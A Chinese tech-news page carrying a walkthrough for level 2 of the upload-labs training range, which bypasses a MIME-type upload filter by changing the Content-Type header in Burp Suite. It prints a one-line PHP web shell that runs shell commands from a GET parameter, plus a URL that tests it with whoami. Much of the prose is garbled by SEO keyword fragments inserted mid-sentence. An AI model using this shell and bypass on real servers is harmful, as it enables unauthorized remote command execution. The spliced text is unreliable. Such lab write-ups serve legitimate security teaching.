您现在的位置是:物联网 >>正文
Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
物联网67348人已围观
简介上文《Upload-Lab第一关:轻松绕过前端验证的技巧!》在upload-lab的第二关,我们需要应对MIME类型过滤。MIME类型是互联网媒体类型,用于指示文件的性质和格式。在实际的文件上传场景中 ...
上文《Upload-Lab第一关:轻松绕过前端验证的关何过滤技巧!》
在upload-lab的巧妙第二关,我们需要应对MIME类型过滤。绕过MIME类型是类型互联网媒体类型 ,用于指示文件的关何过滤性质和格式 。在实际的巧妙文件上传场景中,服务器通常会检查上传文件的源码库绕过MIME类型以确保安全 。然而 ,类型通过某些技巧,关何过滤我们可以绕过这种检查并上传恶意文件 。巧妙本篇文章将详细介绍如何通过绕过MIME类型过滤来攻克upload-lab的绕过第二关。

在Pass02关卡中,类型服务器会检查上传文件的关何过滤MIME类型 ,只有当MIME类型为允许的巧妙类型(如图片类型)时 ,服务器租用文件才能成功上传。绕过如果上传的文件MIME类型不符合要求,则会被拒绝 。 源码如下图所示 :

源码
绕过MIME类型过滤的方法使用Burp Suite拦截并修改请求:这是最常用的方法,通过Burp Suite等抓包工具拦截上传请求,然后修改MIME类型 。构造特殊的云计算文件 :通过修改文件头信息,使文件看起来像是合法的类型。实践步骤(1) 准备工具
Burp Suite一个简单的Web Shell文件,例如 : 复制<?php echo shell_exec($_GET[pass]); ?>1.(2) 启动BurpSuite并配置浏览器代理
启动Burp Suite并设置拦截模式 ,如下图所示 :

启动BurpSuite并设置拦截模式
配置浏览器使用BurpSuite作为代理,如下图所示:

配置浏览器使用代理
上图中的HTTProy代理地址和端口要与BurpSuite的设置一致 ,免费模板如下图所示 :

HTTProy代理地址
(3) 此时上传webshell,点击上传 ,会自动调到BurpSuite页面,通过观察下图Content-Type的类型为application/x-php,因此,我们要对该类型进行修改成image/jpeg

Content-Type类型修改之前

Content-Type类型修改之后
修改后,先点击Action -> Send to Intruder,接着,点击Forward,点击后,会输入如下结果 ,如下图所示 :

成功返回请求头
最后 ,香港云服务器通过前端页面中的源码看到webshell已经成功上传到服务器上 ,如下图所示:

通过访问类似于http://服务器地址/upload/shell.php?cmd=whoami的URL来验证WebShell是否工作 。如下图所示 :

通过这种方法,我们成功绕过了MIME类型过滤,上传了恶意文件 。这展示了在文件上传功能中仅依赖MIME类型检查是不够的,模板下载还需要结合文件内容 、扩展名等多重检查手段 ,才能有效防御此类攻击 。
Tags:
转载:欢迎各位朋友分享到网络,但转载请说明文章出处“商站动力”。http://www.noorid.com/news/975e699018.html
上一篇:浅谈加密算法
下一篇:整合IT安全工具集的六个技巧
相关文章
“珞安杯”第七届全国工控系统信息安全攻防竞赛圆满举办
物联网12月18日,由华北电力大学、公安部信息安全等级保护评估中心联合主办,中国能源研究会、中国电力企业联合会、工业信息安全产业发展联盟、中关村信息安全测评联盟、中国智慧能源产业联盟共同指导支持,华北电力大 ...
【物联网】
阅读更多电脑黑屏装系统教程(教你如何解决电脑黑屏问题,并成功安装系统)
物联网在安装操作系统的过程中,偶尔会遇到电脑黑屏的情况。本文将为大家提供一套解决电脑黑屏问题并成功安装系统的教程。检查硬件连接是否正常首先检查电脑与显示器之间的连接是否稳固,确保电源线、HDMI或VGA线等 ...
【物联网】
阅读更多OPPO R7怎么插SIM卡
物联网1)找到OPPO R7侧边的小孔,插入回形针或者其它硬物,即可弹出卡槽。(如下图) 2)放入SIM卡及内存卡即可。(如下图)3)OPPO R7支持双卡,其中一个需中卡,别外一个要小卡。( ...
【物联网】
阅读更多
热门文章
最新文章
友情链接
- 数据中心在冷却、成本和二氧化碳减排方面均未达到目标
- GitLab Duo AI 编程助手曝出提示注入漏洞 凸显AI助手的潜在风险
- 谷歌 Chrome 零日漏洞遭广泛利用,可执行任意代码
- GitHub成为欧洲恶意软件传播的首选平台
- 0day 漏洞量产?AI Agent “生产线”曝光
- 探索bcd-458wdvmu1的卓越性能和功能(一款引领技术创新的多功能设备)
- 探究GeForce980MZ(颠覆视觉体验的游戏级显卡)
- 深度研究 | 如何利用可信数据空间赋能企业数据流通安全
- 托管服务提供商的优势和长期机会
- AMDA107300和i7的性能比较研究(谁是更好的选择?) b2b信息平台香港物理机云服务器企业服务器网站建设亿华云源码库